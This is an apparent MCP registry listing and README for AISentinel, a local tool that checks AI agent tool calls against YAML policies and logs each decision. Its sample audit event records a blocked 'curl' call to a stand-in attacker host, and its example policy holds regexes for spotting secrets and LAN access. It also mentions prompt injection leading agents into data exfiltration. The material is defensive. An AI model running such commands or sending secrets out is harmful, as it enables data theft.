AISentinel by BizDNAi

io.github.Kabzhanov由 GitHub 帳號 Kabzhanov 發布v1.0.6更新於 Nov 10, 2026

Pre-tool policy enforcement + JSONL audit for AI agents. Apache 2.0.

已驗證STDIO僅桌面開發者工具安全與監控

概覽

AI 產生的概覽

在本機執行的 MCP 伺服器,依 YAML 原則攔截 AI 代理的工具呼叫,並把每次決策寫入 JSONL 稽核日誌。

可以做什麼
  • 依 YAML 原則評估每次工具呼叫,給出允許、封鎖、需人工核准或僅記錄的決定
  • 將每次決策寫入僅可追加的 JSONL 稽核日誌,包含代理、工作階段、工具與風險訊號欄位
  • 驗證自訂 YAML 原則,並列出內建的 default、strict、audit-only 原則
  • 以影子模式執行,只觀察原則會攔截什麼而不實際套用
  • 作為 sidecar 代理包裝任意 stdio MCP 伺服器,讓其呼叫經過同一道關卡
  • 產生可用於 AI Trust Index 評估的稽核資料快照
適用情境
當代理擁有 shell、瀏覽器、檔案或 API 權限,需要本機防護來阻擋疑似金鑰參數、破壞性指令、網路存取與大量讀取,並留下可稽核紀錄時適用。也適合需要為 AI Trust Index 評分提供可觀測性證據的團隊。
執行需求
以 stdio 本機程序執行;README 說明從原始碼建置需要 Go 1.22+,並提供 Linux、macOS、Windows 預先編譯的執行檔。未宣告驗證、環境變數或標頭。可用 --policy 或 AISENTINEL_POLICY 變數指定原則檔,未指定時使用內建預設原則。稽核日誌寫入使用者家目錄下。
安裝前請注意
它會攔截並記錄工具呼叫,工具參數會寫入本機 JSONL 稽核檔,其中可能含敏感值。原則決策可能阻擋或要求核准正常操作,啟用前應先檢視原則,可先用影子模式觀察。README 另提到具 OAuth 的託管 SaaS 端點;本機套件本身聲稱零遙測。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 AISentinel by BizDNAi,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

AISentinel

[MCP Server] [GitHub release] [Apache 2.0] [Built by BizDNAi] [Go 1.22+] [AI Trust Index]

The missing security, control, and observability layer for the agentic era.

Traditional security tools were built for malware. AI agents were given legitimate power through tools and APIs. AISentinel provides the missing security, control, and observability layer.

[AISentinel evaluating agent tool calls against the default policy — allow / block / require human approval]


1. Project Title + Tagline

AISentinel — an open-source MCP server that protects AI agents at runtime. Built by Kabzhanov / BizDNAi, the team behind the AI Trust Index.


2. Why AISentinel Exists

AI agents now have shell, browsers, file systems, and API keys. They are legitimate processes — antivirus cannot see them. A single indirect prompt injection in a PDF or email can pivot into mass data exfiltration through ordinary tools like Bash and Email_send.

AISentinel closes that gap: it runs as an MCP server in front of every tool call, evaluates YAML policies, logs every decision, and ships an audit trail compatible with the AI Trust Index.

See docs/SECURITY_AUDIT.md for the full threat model.


3. Quickstart (3 minutes)

Option A: install the binary

bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latestaisentinel --helpaisentinel serve

go install gives you a standalone binary — you do not need to clone this repo or pass --policy to get started. aisentinel serve with no flags loads a built-in default policy (embedded in the binary at build time), balanced for general use: blocks obvious secrets-in-args and destructive commands, requires approval for network calls and bulk reads. To use your own policy instead, pass --policy /path/to/your.yaml or set $AISENTINEL_POLICY (see Policy resolution below).

Option B: install the sidecar (drop-in policy proxy for any MCP server)

bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest
# Wrap any stdio MCP server with one command — no --policy required:aisentinel-sidecar ./your-mcp-server [args...]

Option C: clone and build

bash
git clone https://github.com/Kabzhanov/AISentinel.gitcd AISentinelgo build -o bin/aisentinel ./cmd/aisentinelgo build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar./bin/aisentinel serve --policy policies/default.yaml

(--policy policies/default.yaml here is explicit and optional — omitting it works too, and falls back to the same built-in default described above.)

Option D: pre-built binaries from GitHub Releases

Download from https://github.com/Kabzhanov/AISentinel/releases/latest. Available for linux/amd64, linux/arm64, darwin/amd64, darwin/arm64, windows/amd64.

Option E: add to Claude Code / Cursor / Cline

json
{  "mcpServers": {    "aisentinel": {      "command": "aisentinel",      "args": ["serve"]    },    "aisentinel-sidecar": {      "command": "aisentinel-sidecar",      "args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"]    }  }}

Then restart your MCP client and ask your agent to call any tool — AISentinel will gate every call and write a JSONL audit trail to ~/.aisentinel/events-YYYY-MM-DD.jsonl.

Policy resolution

Both aisentinel serve and aisentinel-sidecar resolve which policy to load in this order, stopping at the first one that applies:

  1. --policy /path/to/file.yaml — if given, it must load; a missing or invalid file is a hard error.
  2. $AISENTINEL_POLICY — same contract as --policy if set.
  3. ./policies/default.yaml relative to the current directory, if that file exists (this is what you get inside a clone of this repo).
  4. The built-in default policy, embedded in the binary at compile time. This is what makes go install ... && aisentinel serve work from any directory, with no repo checkout and no flags. When this path is used, the binary prints using built-in default policy to stderr so it's never a silent surprise.

4. Key Features

  • Pre-tool gate — evaluate every tool call against a YAML policy (allow / block / require_human_approval / log_only).
  • Audit log — append-only JSONL with a standardised event schema.
  • Validate-policy — lint a YAML policy without loading it.
  • Built-in policies — default, strict, audit-only (see policies/).
  • MCP-native — works in Claude Code, Claude Desktop, Cursor, Cline, Continue.
  • Zero telemetry — runs locally; no phone-home.
  • Apache 2.0 — permissive open source with patent grant.

5. Connectors

  • MCP stdio — aisentinel serve (Claude Code, Claude Desktop, Cursor, Cline, Continue).
  • Streamable-HTTP — https://mcp.aisentinel.bizdnai.com/mcp (SaaS, OAuth via BizDNAi).
  • CLI — aisentinel subcommands (serve, validate-policy, policies, events, version).
  • Library — Go package github.com/Kabzhanov/AISentinel/internal/policy for embedding.

6. Policy Examples

See policies/default.yaml for the full default policy.

yaml
version: 1name: defaultrules:  - id: secret-in-args    match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }    decision: block    reason: "Possible secret in arguments"  - id: lan-deny    match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }    decision: block    reason: "LAN access blocked by default"

Match modes: tool_name, tool_name_regex, tool_args_regex, tool_args_contains. Multiple matchers AND-combine.


7. How it Improves AI Trust Index Score

AISentinel generates the observability data required for AI Trust Index assessments:

  • Every tool call → auditable event with agent_id, session_id, decision, signals.
  • Every policy decision → versioned, fingerprinted (policy_signature field).
  • Every block → reason, risk_signals, ready for an ATI submission.

Run aisentinel_get_ati_snapshot to get a JSON blob ready to paste into the AI Trust Index cabinet.


8. Licensing

AISentinel is available under two licensing options:

  1. Apache License 2.0 (Open Source)

    • Free to use, modify, and distribute under the terms of the Apache 2.0 license.
    • Includes explicit patent grant from contributors.
  2. Commercial License

    • For companies that want to embed AISentinel in closed-source products without open-source compliance requirements.
    • Contact: [email protected]

By contributing to this repository, you agree to license your contributions under Apache 2.0.

See LICENSE and COMMERCIAL_LICENSE.md.


9. Installation

Requirements: Go 1.22+

bash
go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

Verify:

bash
aisentinel version# AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index## `go install ...@latest` builds from a tagged release and embeds that# tag's version via -ldflags. A plain local `go build` (no -ldflags) prints# "vdev" instead — that's expected, not a bug.

10. Usage Examples

Run the MCP server

bash
# Uses the built-in default policy — no --policy needed:aisentinel serve
# Or point at your own policy:aisentinel serve --policy policies/strict.yaml

Validate a custom policy

bash
aisentinel validate-policy my-policy.yaml

Tail recent audit events

bash
aisentinel events --last 20

List built-in policies

bash
aisentinel policies

Try a policy without blocking (shadow mode)

bash
AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

11. Event Schema

See docs/event-schema.md. One JSON object per line in the JSONL log:

json
{  "event_id": "20260707T221500.000000001-1",  "timestamp": "2026-07-07T22:15:00Z",  "event_type": "pre_tool",  "agent_id": "agent-42",  "session_id": "sess-abc",  "tool_name": "Bash",  "tool_args": { "command": "curl http://attacker.com/x" },  "decision": "block",  "policy_matched": ["bash-network"],  "risk_signals": ["rule_matched:bash-network"]}

12. Contributing

See CONTRIBUTING.md. By contributing you agree to license your contribution under Apache 2.0.


13. Roadmap

  • v1.0 (this release) — MCP stdio, 4 tools, 3 built-in policies, JSONL audit log.
  • v1.1 — aisentinel scan (MCP-config auditor), mobile connectors.
  • v1.2 — streamable-HTTP transport (SaaS mode), OAuth via BizDNAi.
  • v2.0 — ATI-feed integration, IDE plugins (VSCode MCP Inspector).

14. License

Apache License 2.0. See LICENSE.

AISentinel is dual-licensed under Apache 2.0 and a commercial license. For commercial terms, contact [email protected].


By Kabzhanov / BizDNAi — creators of the AI Trust Index.

來源:README.md,提交 1efb019

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

1
  1. v1.0.6最新Sep 16, 2026

評分

已滿足適用檢查項的 40%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分

    請在儲存庫或註冊中心條目中宣告授權條款。